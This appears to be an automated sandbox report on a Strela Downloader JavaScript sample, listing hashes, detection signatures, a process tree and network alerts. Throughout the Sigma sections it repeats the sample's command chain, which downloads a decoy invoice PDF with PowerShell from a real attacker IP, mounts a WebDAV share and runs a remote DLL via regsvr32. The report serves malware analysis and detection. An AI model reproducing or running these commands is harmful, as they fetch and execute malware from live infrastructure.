Edit tour

Windows Analysis Report
984279432356016169.js

Overview

General Information

Sample name:	984279432356016169.js
Analysis ID:	1588129
MD5:	218833034a1bbe71df914a3fd8315dba
SHA1:	f4d5521654ff42c94944cfe2e73ca803fa28fa2d
SHA256:	a4a156e74b7524701bc14aa7af04c67bae282d1731f95e90f64bc2ed4490e831
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4268 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6788 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5580 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2460 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6312 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,13517374794523773617,11455705467191514694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2628 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1916 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3028 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4268	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6788, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5580, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6788, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5580, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1916, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49861

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 6788, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 6788, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 6788, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 6788, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 6788, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 6788, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ProcessId: 4268, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6788, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5580, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2628, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1916, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3028, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2628, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1916, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4268, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll, ProcessId: 6788, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:39:59.609014+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49861	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:39:57.189145+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49845	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 984279432356016169.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 984279432356016169.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49861 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:39:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 